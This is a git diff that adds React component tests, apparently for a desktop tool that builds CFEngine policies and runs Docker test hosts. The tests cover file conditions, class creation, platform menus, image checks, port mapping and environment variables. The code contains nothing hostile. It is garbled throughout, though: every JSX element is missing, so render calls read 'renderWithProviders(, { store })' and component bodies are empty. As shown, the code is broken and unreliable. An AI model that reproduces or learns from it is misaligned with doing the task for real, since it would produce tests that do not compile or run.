{ useAppDispatch, useAppSelector } from '../../store'; +import { + fileConditionClassNameChanged, + fileConditionEnabled, + fileConditionModeChanged, + fileConditionRemoved, + fileDescriptionChanged, + fileSelected +} from '../../store/filesSlice'; +import { selectCurrentFile } from '../../store/filesSlice/selectors'; +import { type TestStore, addBlock, addFile, fileOf, makeStore } from '../../store/test/storeTestUtils'; +import { renderWithProviders } from '../../test/render'; +import { FileSettingsPanel } from './FileSettingsPanel'; + +// Wired to the store the way ProjectView's CurrentFileSettings wires it. +function ConnectedFileSettings() { + const dispatch = useAppDispatch(); + const file = useAppSelector(selectCurrentFile); + const files = useAppSelector(state => state.files.files); + const allInstances = useAppSelector(state => state.canvas); + if (!file) return null; + const fileId = file.id; + return ( + dispatch(fileConditionEnabled({ fileId }))} + onRemove={() => dispatch(fileConditionRemoved({ fileId }))} + onModeChange={mode => dispatch(fileConditionModeChanged({ fileId, mode }))} + onClassNameChange={className => dispatch(fileConditionClassNameChanged({ fileId, className }))} + onDescriptionChange={description => dispatch(fileDescriptionChanged({ fileId, description }))} + /> + ); +} + +const defineClass = (store: TestStore, fileId: string, className: string) => { + const descriptor = blockDescriptorsById.get('define-class')!; + return addBlock(store, fileId, { + blockId: 'define-class', + label: 'Define Class', + params: {}, + entries: [newDefinitionEntry(descriptor, { params: { class_name: className } })] + }); +}; + +describe('FileSettingsPanel', () => { + let store: TestStore; + let fileId: string; + + beforeEach(() => { + store = makeStore(); + fileId = addFile(store, 'Web'); + }); + + it('shows the file name and bundle', () => { + renderWithProviders(, { store }); + expect(screen.getByText('Web')).toBeInTheDocument(); + expect(screen.getByText(`bundle: ${fileOf(store, fileId)?.bundle}`)).toBeInTheDocument(); + }); + + it('writes the description', () => { + renderWithProviders(, { store }); + fireEvent.change(screen.getByRole('textbox', { name: 'Description' }), { target: { value: 'Serves the site' } }); + expect(fileOf(store, fileId)?.description).toBe('Serves the site'); + }); + + it('drops a blank description', () => { + store.dispatch(fileDescriptionChanged({ fileId, description: 'Old' })); + renderWithProviders(, { store }); + fireEvent.change(screen.getByRole('textbox', { name: 'Description' }), { target: { value: ' ' } }); + expect(fileOf(store, fileId)).not.toHaveProperty('description'); + }); + + it('adds a file condition', () => { + renderWithProviders(, { store }); + fireEvent.click(screen.getByRole('button', { name: 'File condition (0)' })); + fireEvent.click(screen.getByRole('button', { name: 'Add condition' })); + expect(fileOf(store, fileId)?.condition).toEqual({ kind: 'class', mode: 'if', className: '' }); + }); + + describe('with a condition', () => { + beforeEach(() => { + store.dispatch(fileConditionEnabled({ fileId })); + }); + + it('types the class name', () => { + renderWithProviders(, { store }); + fireEvent.change(screen.getByPlaceholderText('Search class names…'), { target: { value: 'linux' } }); + expect(fileOf(store, fileId)?.condition?.className).toBe('linux'); + }); + + it('switches the mode', () => { + renderWithProviders(, { store }); + fireEvent.mouseDown(screen.getByRole('combobox', { name: 'Mode' })); + fireEvent.click(screen.getByRole('option', { name: 'Skip if' })); + expect(fileOf(store, fileId)?.condition?.mode).toBe('unless'); + }); + + it('removes it', () => { + renderWithProviders(, { store }); + fireEvent.click(screen.getByRole('button', { name: 'Remove file condition' })); + expect(fileOf(store, fileId)?.condition).toBeUndefined(); + expect(screen.getByRole('button', { name: 'File condition (0)' })).toBeInTheDocument(); + }); + }); + + it('offers classes from other files, not from this one', () => { + const otherId = addFile(store, 'Detect'); + defineClass(store, otherId, 'is_web'); + defineClass(store, fileId, 'own_class'); + store.dispatch(fileSelected({ fileId })); + store.dispatch(fileConditionEnabled({ fileId })); + renderWithProviders(, { store }); + + fireEvent.mouseDown(screen.getByPlaceholderText('Search class names…')); + const listbox = screen.getByRole('listbox'); + expect(within(listbox).getByText('Defined in Detect')).toBeInTheDocument(); + expect(within(listbox).getByText('is_web')).toBeInTheDocument(); + expect(within(listbox).queryByText('own_class')).not.toBeInTheDocument(); + + fireEvent.click(within(listbox).getByText('is_web')); + expect(fileOf(store, fileId)?.condition?.className).toBe('is_web'); + }); + + it('offers no New class button', () => { + store.dispatch(fileConditionEnabled({ fileId })); + renderWithProviders(, { store }); + expect(screen.queryByRole('button', { name: 'New class' })).not.toBeInTheDocument(); + }); +}); diff --git a/src/renderer/src/components/properties/NewClassModal.test.tsx b/src/renderer/src/components/properties/NewClassModal.test.tsx new file mode 100644 index 0000000..e05a55b --- /dev/null +++ b/src/renderer/src/components/properties/NewClassModal.test.tsx @@ -0,0 +1,82 @@ +import { fireEvent, screen, within } from '@testing-library/react'; + +import { renderWithProviders } from '../../test/render'; +import { NewClassModal } from './NewClassModal'; + +function setup() { + const onClose = vi.fn(); + const onCreate = vi.fn(); + renderWithProviders(); + return { onClose, onCreate }; +} + +const nameField = () => screen.getByRole('textbox', { name: 'Class name' }); +const createButton = () => screen.getByRole('button', { name: 'Create' }); + +function pickConditionType(label: string) { + fireEvent.mouseDown(screen.getByRole('combobox', { name: 'Condition type' })); + fireEvent.click(within(screen.getByRole('listbox')).getByRole('option', { name: new RegExp(label) })); +} + +describe('NewClassModal', () => { + it('needs a class name', () => { + setup(); + expect(createButton()).toBeDisabled(); + expect(screen.getByText('Letters, numbers, and underscores only.')).toBeInTheDocument(); + }); + + it('keeps only canonical class name characters', () => { + setup(); + fireEvent.change(nameField(), { target: { value: 'web-server 01.ok:x' } }); + expect(nameField()).toHaveValue('webserver01okx'); + fireEvent.change(nameField(), { target: { value: '-.' } }); + expect(nameField()).toHaveValue(''); + expect(createButton()).toBeDisabled(); + }); + + it('creates an always-true class by default', () => { + const { onClose, onCreate } = setup(); + expect(screen.getByRole('combobox', { name: 'Condition type' })).toHaveTextContent('Always true'); + fireEvent.change(nameField(), { target: { value: 'web_ready' } }); + fireEvent.click(createButton()); + expect(onCreate).toHaveBeenCalledWith({ className: 'web_ready', valueSourceId: 'always-true', params: {}, classRefs: [] }); + expect(onClose).toHaveBeenCalled(); + expect(nameField()).toHaveValue(''); + }); + + it('creates a check with its parameters', () => { + const { onCreate } = setup(); + fireEvent.change(nameField(), { target: { value: 'has_nginx' } }); + pickConditionType('File exists'); + fireEvent.change(screen.getByRole('textbox', { name: /File path/ }), { target: { value: '/usr/sbin/nginx' } }); + fireEvent.click(createButton()); + expect(onCreate).toHaveBeenCalledWith({ className: 'has_nginx', valueSourceId: 'check-file-exists', params: { path: '/usr/sbin/nginx' }, classRefs: [] }); + }); + + it('creates a combination of classes', () => { + const { onCreate } = setup(); + fireEvent.change(nameField(), { target: { value: 'debian_web' } }); + pickConditionType('All of these classes'); + fireEvent.click(screen.getByRole('button', { name: 'Add class' })); + fireEvent.change(screen.getByPlaceholderText('Class name'), { target: { value: 'debian' } }); + fireEvent.click(screen.getByRole('checkbox', { name: 'NOT' })); + fireEvent.click(createButton()); + expect(onCreate).toHaveBeenCalledWith({ + className: 'debian_web', + valueSourceId: 'combine-and', + params: {}, + classRefs: [{ id: expect.any(String), name: 'debian', negate: true }] + }); + }); + + it('cancels and resets the form', () => { + const { onClose, onCreate } = setup(); + fireEvent.change(nameField(), { target: { value: 'web_ready' } }); + pickConditionType('Custom expression'); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(onClose).toHaveBeenCalled(); + expect(onCreate).not.toHaveBeenCalled(); + expect(nameField()).toHaveValue(''); + expect(screen.getByRole('combobox', { name: 'Condition type' })).toHaveTextContent('Always true'); + }); +}); diff --git a/src/renderer/src/components/testenv/AddHostMenu.test.tsx b/src/renderer/src/components/testenv/AddHostMenu.test.tsx new file mode 100644 index 0000000..a4d9ed8 --- /dev/null +++ b/src/renderer/src/components/testenv/AddHostMenu.test.tsx @@ -0,0 +1,55 @@ +import { fireEvent, screen } from '@testing-library/react'; + +import { PLATFORMS, type PlatformSupport } from '../../store/testEnvironmentsSlice/types'; +import { renderWithProviders } from '../../test/render'; +import { AddHostMenu } from './AddHostMenu'; + +let anchor: HTMLButtonElement; +afterEach(() => anchor.remove()); + +function setup(props: { last?: string; support?: PlatformSupport | null } = {}) { + const onClose = vi.fn(); + const onOther = vi.fn(); + const onSelect = vi.fn(); + anchor = document.body.appendChild(document.createElement('button')); + renderWithProviders( + + ); + return { onClose, onOther, onSelect }; +} + +const labels = () => screen.getAllByRole('menuitem').map(item => item.textContent); + +describe('AddHostMenu', () => { + it('lists every platform, then Other image', () => { + setup(); + expect(labels()).toEqual([...PLATFORMS.map(platform => platform.label), 'Other image…']); + }); + + it('offers the last host’s platform first', () => { + setup({ last: 'rhel-9' }); + expect(labels()[0]).toBe('RHEL 9 (AlmaLinux 9)'); + expect(labels().filter(label => label === 'RHEL 9 (AlmaLinux 9)')).toHaveLength(1); + }); + + it('disables platforms without a client package', () => { + const { onSelect } = setup({ support: { 'rhel-7': { client: false, hub: false }, 'ubuntu-24': { client: true, hub: true } } }); + expect(screen.getByRole('menuitem', { name: /RHEL 7/ })).toHaveAttribute('aria-disabled', 'true'); + expect(screen.getByRole('menuitem', { name: /RHEL 7/ })).toHaveTextContent('no package'); + fireEvent.click(screen.getByRole('menuitem', { name: 'Ubuntu 24.04' })); + expect(onSelect).toHaveBeenCalledWith('ubuntu-24'); + }); + + it('opens the custom image dialog', () => { + const { onOther, onSelect } = setup(); + fireEvent.click(screen.getByRole('menuitem', { name: 'Other image…' })); + expect(onOther).toHaveBeenCalled(); + expect(onSelect).not.toHaveBeenCalled(); + }); + + it('closes on Escape', () => { + const { onClose } = setup(); + fireEvent.keyDown(screen.getByRole('menu'), { key: 'Escape' }); + expect(onClose).toHaveBeenCalled(); + }); +}); diff --git a/src/renderer/src/components/testenv/CustomImageDialog.test.tsx b/src/renderer/src/components/testenv/CustomImageDialog.test.tsx new file mode 100644 index 0000000..4028790 --- /dev/null +++ b/src/renderer/src/components/testenv/CustomImageDialog.test.tsx @@ -0,0 +1,175 @@ +import { act, fireEvent, screen, waitFor, within } from '@testing-library/react'; + +import type { PlatformSupport } from '../../store/testEnvironmentsSlice/types'; +import { installApi, renderWithProviders, uninstallApi } from '../../test/render'; +import { CustomImageDialog } from './CustomImageDialog'; + +type Api = NonNullable; +type Search = Awaited>; +type Listener = Parameters[0]; +type TestEnvEvent = Parameters[1]; + +const SEARCH: Search = { + local: ['rockylinux:9'], + hub: [{ name: 'rockylinux', description: 'The official Rocky Linux image', official: true, stars: 250 }], + hubError: null +}; + +let listeners: Listener[]; +let api: Api; + +beforeEach(() => { + listeners = []; + api = installApi({ + testEnvSearch: vi.fn(async () => SEARCH), + testEnvStart: vi.fn(async () => 'run-1'), + onTestEnvEvent: vi.fn((listener: Listener) => { + listeners.push(listener); + return () => listeners.splice(listeners.indexOf(listener), 1); + }) + }); +}); +afterEach(uninstallApi); + +function setup(support: PlatformSupport | null = null) { + const onAdd = vi.fn(); + const onClose = vi.fn(); + const view = renderWithProviders(); + return { onAdd, onClose, view }; +} + +const imageField = () => screen.getByRole('combobox', { name: 'Image' }); +const typeImage = (image: string) => fireEvent.change(imageField(), { target: { value: image } }); +const emit = (event: TestEnvEvent, runId = 'run-1') => act(() => listeners.forEach(listener => listener(runId, event))); + +async function checkImage(image = 'rockylinux:9') { + typeImage(image); + fireEvent.click(screen.getByRole('button', { name: 'Check image' })); + await waitFor(() => expect(api.testEnvStart).toHaveBeenCalledWith('inspect', { image, arch: 'x86_64' })); +} + +describe('CustomImageDialog', () => { + it('lists local images and Docker Hub results', async () => { + setup(); + await waitFor(() => expect(api.testEnvSearch).toHaveBeenCalledWith({ term: '', hub: false })); + typeImage('rocky'); + await waitFor(() => expect(api.testEnvSearch).toHaveBeenCalledWith({ term: 'rocky', hub: true })); + const listbox = await screen.findByRole('listbox'); + expect(within(listbox).getByText('On this machine')).toBeInTheDocument(); + expect(within(listbox).getByText('Docker Hub')).toBeInTheDocument(); + expect(within(listbox).getByText('rockylinux:latest')).toBeInTheDocument(); + expect(within(listbox).getByText('★ 250')).toBeInTheDocument(); + expect(within(listbox).getByTitle('Docker official image')).toBeInTheDocument(); + + fireEvent.click(within(listbox).getByText('rockylinux:9')); + expect(imageField()).toHaveValue('rockylinux:9'); + }); + + it('searches by name without the tag, Docker Hub from two letters', async () => { + setup(); + typeImage('r'); + await waitFor(() => expect(api.testEnvSearch).toHaveBeenCalledWith({ term: 'r', hub: false })); + typeImage('debian:12'); + await waitFor(() => expect(api.testEnvSearch).toHaveBeenCalledWith({ term: 'debian', hub: true })); + }); + + it('shows a Docker Hub error', async () => { + vi.mocked(api.testEnvSearch).mockResolvedValue({ ...SEARCH, hubError: 'Docker Hub is unreachable' }); + setup(); + expect(await screen.findByText('Docker Hub is unreachable')).toBeInTheDocument(); + }); + + it('checks only a valid image reference', () => { + setup(); + expect(screen.getByRole('button', { name: 'Check image' })).toBeDisabled(); + typeImage('-bad'); + expect(screen.getByRole('button', { name: 'Check image' })).toBeDisabled(); + typeImage('registry.example.com/base/rhel9:1.2'); + expect(screen.getByRole('button', { name: 'Check image' })).toBeEnabled(); + }); + + it('adds a host with the detected platform', async () => { + const { onAdd } = setup(); + await checkImage(); + expect(screen.getByText('Checking rockylinux:9…')).toBeInTheDocument(); + expect(imageField()).toBeDisabled(); + emit({ t: 'step', step: 'pull', message: 'Pulling rockylinux:9' }); + expect(screen.getByText('Pulling rockylinux:9')).toBeInTheDocument(); + emit({ t: 'detected', image: 'rockylinux:9', os: 'Rocky Linux 9.4', platform: 'rhel-9' }); + emit({ t: 'exit', ok: true }); + + expect(screen.getByText('Rocky Linux 9.4: takes the RHEL 9 (AlmaLinux 9) package.')).toBeInTheDocument(); + expect(screen.getByRole('combobox', { name: 'Install the CFEngine package for' })).toHaveTextContent('RHEL 9 (AlmaLinux 9)'); + fireEvent.click(screen.getByRole('button', { name: 'Add host' })); + expect(onAdd).toHaveBeenCalledWith('rockylinux:9', 'rhel-9'); + expect(listeners).toHaveLength(0); + }); + + it('asks for a platform for an unknown OS', async () => { + const { onAdd } = setup({ 'rhel-7': { client: false, hub: false } }); + await checkImage('alpine:3'); + emit({ t: 'detected', image: 'alpine:3', os: 'Alpine Linux', platform: null }); + expect(screen.getByText(/Alpine Linux isn't a platform CFEngine has packages for/)).toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Add host' })).toBeDisabled(); + + fireEvent.mouseDown(screen.getByRole('combobox', { name: 'Install the CFEngine package for' })); + expect(screen.getByRole('option', { name: /RHEL 7/ })).toHaveAttribute('aria-disabled', 'true'); + fireEvent.click(screen.getByRole('option', { name: 'Debian 12' })); + fireEvent.click(screen.getByRole('button', { name: 'Add host' })); + expect(onAdd).toHaveBeenCalledWith('alpine:3', 'debian-12'); + }); + + it('applies events that arrive before the run id', async () => { + vi.mocked(api.testEnvStart).mockImplementation(async () => { + listeners.forEach(listener => listener('run-1', { t: 'detected', image: 'debian:12', os: 'Debian 12', platform: 'debian-12' })); + listeners.forEach(listener => listener('other-run', { t: 'error', message: 'not ours' })); + return 'run-1'; + }); + setup(); + await checkImage('debian:12'); + expect(await screen.findByText('Debian 12: takes the Debian 12 package.')).toBeInTheDocument(); + expect(screen.queryByText('not ours')).not.toBeInTheDocument(); + }); + + it('shows a failed check and lets the image be changed', async () => { + setup(); + await checkImage('nosuch:1'); + emit({ t: 'error', message: 'pull access denied' }); + emit({ t: 'exit', ok: false, message: 'exit 1' }); + expect(screen.getByRole('alert')).toHaveTextContent('pull access denied'); + typeImage('nosuch:2'); + expect(screen.queryByRole('alert')).not.toBeInTheDocument(); + expect(screen.getByRole('button', { name: 'Check image' })).toBeEnabled(); + }); + + it('shows an exit failure without an error event', async () => { + setup(); + await checkImage(); + emit({ t: 'exit', ok: false }); + expect(screen.getByRole('alert')).toHaveTextContent('The check failed'); + }); + + it('shows a start failure', async () => { + vi.mocked(api.testEnvStart).mockRejectedValue(new Error('Docker is not running')); + setup(); + typeImage('debian:12'); + fireEvent.click(screen.getByRole('button', { name: 'Check image' })); + expect(await screen.findByText('Docker is not running')).toBeInTheDocument(); + expect(listeners).toHaveLength(0); + }); + + it('cancels a running check when closed', async () => { + const { view } = setup(); + await checkImage(); + await waitFor(() => expect(screen.getByText('Checking rockylinux:9…')).toBeInTheDocument()); + view.unmount(); + expect(api.cancelTestEnvRun).toHaveBeenCalledWith('run-1'); + }); + + it('cancels', () => { + const { onAdd, onClose } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Cancel' })); + expect(onClose).toHaveBeenCalled(); + expect(onAdd).not.toHaveBeenCalled(); + }); +}); diff --git a/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx new file mode 100644 index 0000000..8a64615 --- /dev/null +++ b/src/renderer/src/components/testenv/EnvironmentSettingsDialog.test.tsx @@ -0,0 +1,151 @@ +import { fireEvent, screen } from '@testing-library/react'; + +import type { TestEnvironment } from '../../store/testEnvironmentsSlice/types'; +import { renderWithProviders } from '../../test/render'; +import { EnvironmentSettingsDialog } from './EnvironmentSettingsDialog'; + +const ENVIRONMENT: TestEnvironment = { + id: 'e1', + name: 'Staging', + arch: 'x86_64', + edition: 'community', + version: 'latest', + env: { APP_ENV: 'staging' }, + envFile: null, + hosts: [], + hub: 'h1' +}; + +interface Options { + busy?: boolean; + canDestroy?: boolean; + engineArch?: string; + environment?: Partial; + saved?: boolean; +} + +function setup({ environment, busy = false, canDestroy = true, saved = true, engineArch }: Options = {}) { + const callbacks = { onChange: vi.fn(), onClose: vi.fn(), onDestroy: vi.fn(), onEnvChange: vi.fn() }; + renderWithProviders( + + ); + return callbacks; +} + +const select = (name: string) => screen.getByRole('combobox', { name }); +function pick(name: string, option: string) { + fireEvent.mouseDown(select(name)); + fireEvent.click(screen.getByRole('option', { name: option })); +} + +describe('EnvironmentSettingsDialog', () => { + it('renames the environment', () => { + const { onChange } = setup(); + fireEvent.change(screen.getByRole('textbox', { name: 'Name' }), { target: { value: 'Prod' } }); + expect(onChange).toHaveBeenCalledWith({ name: 'Prod' }); + }); + + it('changes the edition', () => { + const { onChange } = setup(); + expect(select('Edition')).toHaveTextContent('Community'); + pick('Edition', 'Enterprise'); + expect(onChange).toHaveBeenCalledWith({ edition: 'enterprise' }); + }); + + it('notes Mission Portal for Enterprise', () => { + setup({ environment: { edition: 'enterprise' } }); + expect(screen.getByText('The hub runs Mission Portal (publish port 443)')).toBeInTheDocument(); + }); + + it('changes the architecture and says when it is emulated', () => { + const { onChange } = setup({ engineArch: 'aarch64' }); + expect(screen.getByText('Emulated by Docker (slower)')).toBeInTheDocument(); + pick('Architecture', 'arm64'); + expect(onChange).toHaveBeenCalledWith({ arch: 'aarch64' }); + }); + + it('says native when the engine matches', () => { + setup({ engineArch: 'x86_64' }); + expect(screen.getByText('Native')).toBeInTheDocument(); + }); + + it('trims the version and falls back to latest', () => { + const { onChange } = setup(); + const version = screen.getByRole('textbox', { name: 'CFEngine version' }); + fireEvent.change(version, { target: { value: ' 3.27.1 ' } }); + expect(onChange).toHaveBeenLastCalledWith({ version: '3.27.1' }); + fireEvent.change(version, { target: { value: ' ' } }); + expect(onChange).toHaveBeenLastCalledWith({ version: 'latest' }); + }); + + it('picks the agent runs count, 3 by default', () => { + const { onChange } = setup(); + expect(select('Agent runs per Deploy & run')).toHaveTextContent('Up to 3 (default)'); + fireEvent.mouseDown(select('Agent runs per Deploy & run')); + expect(screen.getAllByRole('option')).toHaveLength(10); + expect(screen.getByRole('option', { name: '1 (a single run)' })).toBeInTheDocument(); + fireEvent.click(screen.getByRole('option', { name: 'Up to 5' })); + expect(onChange).toHaveBeenCalledWith({ maxRuns: 5 }); + }); + + it('shows a stored runs count', () => { + setup({ environment: { maxRuns: 1 } }); + expect(select('Agent runs per Deploy & run')).toHaveTextContent('1 (a single run)'); + }); + + it('locks the hosts’ setup while busy', () => { + setup({ busy: true }); + expect(select('Edition')).toHaveAttribute('aria-disabled', 'true'); + expect(select('Architecture')).toHaveAttribute('aria-disabled', 'true'); + expect(select('Agent runs per Deploy & run')).toHaveAttribute('aria-disabled', 'true'); + expect(screen.getByRole('textbox', { name: 'CFEngine version' })).toBeDisabled(); + expect(screen.getByRole('textbox', { name: 'Name' })).toBeEnabled(); + expect(screen.getByRole('button', { name: 'Destroy containers' })).toBeDisabled(); + }); + + it('saves environment variables on blur, dropping invalid lines', () => { + const { onEnvChange } = setup(); + const field = screen.getByRole('textbox', { name: 'Environment variables (all hosts)' }); + expect(field).toHaveValue('APP_ENV=staging'); + fireEvent.change(field, { target: { value: 'APP_ENV=prod\nnot a variable\n1BAD=x\nTOKEN=a=b' } }); + expect(onEnvChange).not.toHaveBeenCalled(); + fireEvent.blur(field); + expect(onEnvChange).toHaveBeenCalledWith({ APP_ENV: 'prod', TOKEN: 'a=b' }); + }); + + it('sets and clears the .env file', () => { + const { onChange } = setup(); + const field = screen.getByRole('textbox', { name: 'Secrets file (.env), optional' }); + expect(screen.getByText(/A file in the project folder with KEY=value lines/)).toBeInTheDocument(); + fireEvent.change(field, { target: { value: ' ./.env ' } }); + expect(onChange).toHaveBeenLastCalledWith({ envFile: './.env' }); + fireEvent.change(field, { target: { value: ' ' } }); + expect(onChange).toHaveBeenLastCalledWith({ envFile: null }); + }); + + it('needs a saved project for the .env file', () => { + setup({ saved: false, environment: { envFile: './.env' } }); + expect(screen.getByRole('textbox', { name: 'Secrets file (.env), optional' })).toBeDisabled(); + expect(screen.getByText('Save the project to use one: the path is relative to its folder.')).toBeInTheDocument(); + }); + + it('destroys containers and closes', () => { + const { onClose, onDestroy } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Destroy containers' })); + expect(onDestroy).toHaveBeenCalled(); + fireEvent.click(screen.getByRole('button', { name: 'Done' })); + expect(onClose).toHaveBeenCalled(); + }); + + it('cannot destroy without containers', () => { + setup({ canDestroy: false }); + expect(screen.getByRole('button', { name: 'Destroy containers' })).toBeDisabled(); + }); +}); diff --git a/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx b/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx new file mode 100644 index 0000000..65b015a --- /dev/null +++ b/src/renderer/src/components/testenv/HostSettingsDialog.test.tsx @@ -0,0 +1,184 @@ +import { fireEvent, screen } from '@testing-library/react'; + +import type { PlatformSupport, TestHost } from '../../store/testEnvironmentsSlice/types'; +import { renderWithProviders } from '../../test/render'; +import { HostSettingsDialog } from './HostSettingsDialog'; + +const HOST: TestHost = { id: 'h1', name: 'web-1', platform: 'ubuntu-24', env: {}, ports: [] }; + +interface Options { + busy?: boolean; + canRemove?: boolean; + container?: string; + exists?: boolean; + host?: Partial; + isHub?: boolean; + otherPorts?: number[]; + support?: PlatformSupport | null; +} + +function setup({ host, busy = false, canRemove = true, exists = true, isHub = false, otherPorts = [], support = null, container }: Options = {}) { + const callbacks = { onChange: vi.fn(), onClose: vi.fn(), onMakeHub: vi.fn(), onRemove: vi.fn(), onRename: vi.fn(), onReset: vi.fn() }; + renderWithProviders( + + ); + return callbacks; +} + +const platformSelect = (name = 'Platform') => screen.getByRole('combobox', { name }); + +describe('HostSettingsDialog', () => { + it('renames the host', () => { + const { onRename } = setup(); + const name = screen.getByRole('textbox', { name: 'Name' }); + expect(name).toHaveValue('web-1'); + expect(name).toHaveAttribute('maxlength', '40'); + fireEvent.change(name, { target: { value: 'web-2' } }); + expect(onRename).toHaveBeenCalledWith('web-2'); + }); + + it('changes the platform', () => { + const { onChange } = setup(); + expect(platformSelect()).toHaveTextContent('Ubuntu 24.04'); + fireEvent.mouseDown(platformSelect()); + fireEvent.click(screen.getByRole('option', { name: 'Debian 12' })); + expect(onChange).toHaveBeenCalledWith({ platform: 'debian-12' }); + }); + + it('disables platforms without a client package', () => { + setup({ support: { 'rhel-7': { client: false, hub: false }, 'debian-12': { client: true, hub: false } } }); + fireEvent.mouseDown(platformSelect()); + expect(screen.getByRole('option', { name: /RHEL 7/ })).toHaveAttribute('aria-disabled', 'true'); + expect(screen.getByRole('option', { name: /RHEL 7/ })).toHaveTextContent('no package'); + expect(screen.getByRole('option', { name: 'Debian 12' })).not.toHaveAttribute('aria-disabled'); + }); + + it('disables platforms without a hub package for the hub', () => { + setup({ isHub: true, support: { 'debian-12': { client: true, hub: false } } }); + fireEvent.mouseDown(platformSelect()); + expect(screen.getByRole('option', { name: /Debian 12/ })).toHaveAttribute('aria-disabled', 'true'); + expect(screen.getByRole('option', { name: /Debian 12/ })).toHaveTextContent('no hub package'); + }); + + it('shows a custom image and goes back to the standard one', () => { + const { onChange } = setup({ host: { image: 'rockylinux:9', platform: 'rhel-9' } }); + expect(platformSelect('CFEngine package for')).toHaveTextContent('RHEL 9'); + expect(screen.getByText('rockylinux:9')).toBeInTheDocument(); + fireEvent.click(screen.getByRole('button', { name: 'Use the standard image' })); + expect(onChange).toHaveBeenCalledWith({ image: '' }); + }); + + it('makes a client the hub', () => { + const { onMakeHub } = setup(); + expect(screen.getByRole('button', { name: 'Client' })).toHaveAttribute('aria-pressed', 'true'); + fireEvent.click(screen.getByRole('button', { name: 'Hub — serves the policy' })); + expect(onMakeHub).toHaveBeenCalled(); + }); + + it('cannot turn the hub into a client', () => { + setup({ isHub: true }); + expect(screen.getByRole('button', { name: 'Hub — serves the policy' })).toHaveAttribute('aria-pressed', 'true'); + expect(screen.getByRole('button', { name: 'Client' })).toBeDisabled(); + }); + + it('adds a port on the first free host port', () => { + const { onChange } = setup({ host: { ports: [{ host: 8080, container: 80 }] }, otherPorts: [8081] }); + fireEvent.click(screen.getByRole('button', { name: 'Port' })); + expect(onChange).toHaveBeenCalledWith({ + ports: [ + { host: 8080, container: 80 }, + { host: 8082, container: 80 } + ] + }); + }); + + it('edits and removes ports', () => { + const { onChange } = setup({ host: { ports: [{ host: 8080, container: 80 }] } }); + const hostPort = screen.getByDisplayValue('8080'); + fireEvent.change(hostPort, { target: { value: '90a90' } }); + expect(onChange).toHaveBeenLastCalledWith({ ports: [{ host: 9090, container: 80 }] }); + fireEvent.change(screen.getByDisplayValue('80'), { target: { value: '443' } }); + expect(onChange).toHaveBeenLastCalledWith({ ports: [{ host: 8080, container: 443 }] }); + fireEvent.click(screen.getByRole('button', { name: 'Remove port' })); + expect(onChange).toHaveBeenLastCalledWith({ ports: [] }); + }); + + it('keeps an invalid port out and restores it on blur', () => { + const { onChange } = setup({ host: { ports: [{ host: 8080, container: 80 }] } }); + const hostPort = screen.getByDisplayValue('8080'); + fireEvent.change(hostPort, { target: { value: '70000' } }); + expect(hostPort).toHaveAttribute('aria-invalid', 'true'); + fireEvent.change(hostPort, { target: { value: '' } }); + expect(onChange).not.toHaveBeenCalled(); + fireEvent.blur(hostPort); + expect(hostPort).toHaveValue('8080'); + expect(hostPort).toHaveAttribute('aria-invalid', 'false'); + }); + + it('flags a host port another host publishes', () => { + setup({ host: { ports: [{ host: 8080, container: 80 }] }, otherPorts: [8080] }); + expect(screen.getByDisplayValue('8080')).toHaveAttribute('aria-invalid', 'true'); + expect(screen.getByTitle('Already published by another host')).toBeInTheDocument(); + }); + + it('saves environment variables on blur', () => { + const { onChange } = setup({ host: { env: { A: '1' } } }); + const field = screen.getByRole('textbox', { name: 'Environment variables (this host)' }); + expect(field).toHaveValue('A=1'); + fireEvent.change(field, { target: { value: 'A=2\nB=x' } }); + fireEvent.blur(field); + expect(onChange).toHaveBeenCalledWith({ env: { A: '2', B: 'x' } }); + }); + + it('copies the shell command for its container', async () => { + const writeText = vi.fn(async () => {}); + Object.defineProperty(navigator, 'clipboard', { value: { writeText }, configurable: true }); + setup({ container: 'cfpb-web-1' }); + expect(screen.getByRole('textbox', { name: 'Shell in this container' })).toHaveValue('docker exec -it cfpb-web-1 bash'); + fireEvent.click(screen.getByRole('button', { name: 'Copy' })); + expect(writeText).toHaveBeenCalledWith('docker exec -it cfpb-web-1 bash'); + expect(await screen.findByRole('button', { name: 'Copied' })).toBeInTheDocument(); + }); + + it('has no shell command before the container exists', () => { + setup(); + expect(screen.queryByRole('textbox', { name: 'Shell in this container' })).not.toBeInTheDocument(); + }); + + it('removes, resets and closes', () => { + const { onClose, onRemove, onReset } = setup(); + fireEvent.click(screen.getByRole('button', { name: 'Remove host' })); + fireEvent.click(screen.getByRole('button', { name: 'Reset' })); + fireEvent.click(screen.getByRole('button', { name: 'Done' })); + expect(onRemove).toHaveBeenCalled(); + expect(onReset).toHaveBeenCalled(); + expect(onClose).toHaveBeenCalled(); + }); + + it('cannot remove the last host or reset a missing container', () => { + setup({ canRemove: false, exists: false }); + expect(screen.getByRole('button', { name: 'Remove host' })).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Reset' })).toBeDisabled(); + }); + + it('locks everything but the environment variables while busy', () => { + setup({ busy: true, host: { ports: [{ host: 8080, container: 80 }] } }); + expect(screen.getByRole('textbox', { name: 'Name' })).toBeDisabled(); + expect(platformSelect()).toHaveAttribute('aria-disabled', 'true'); + expect(screen.getByDisplayValue('8080')).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Port' })).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Remove host' })).toBeDisabled(); + expect(screen.getByRole('button', { name: 'Reset' })).toBeDisabled(); + expect(screen.getByRole('textbox', { name: 'Environment variables (this host)' })).toBeEnabled(); + }); +}); diff --git a/src/renderer/src/test/render.test.tsx b/src/renderer/src/test/render.test.tsx new file mode 100644 index 0000000..3a6d6f5 --- /dev/null +++ b/src/renderer/src/test/render.test.tsx @@ -0,0 +1,20 @@ +import { installApi, renderWithProviders, uninstallApi } from './render'; + +describe('test helpers', () => { + afterEach(uninstallApi); + + it('fakes every api method, keeping overrides', async () => { + const api = installApi({ shouldUseDarkColors: async () => true }); + expect(await api.shouldUseDarkColors()).toBe(true); + expect(await api.gitStatus('/p')).toBeUndefined(); + expect(api.gitStatus).toHaveBeenCalledWith('/p'); + expect(typeof api.onTestEnvEvent(() => {})).toBe('function'); + 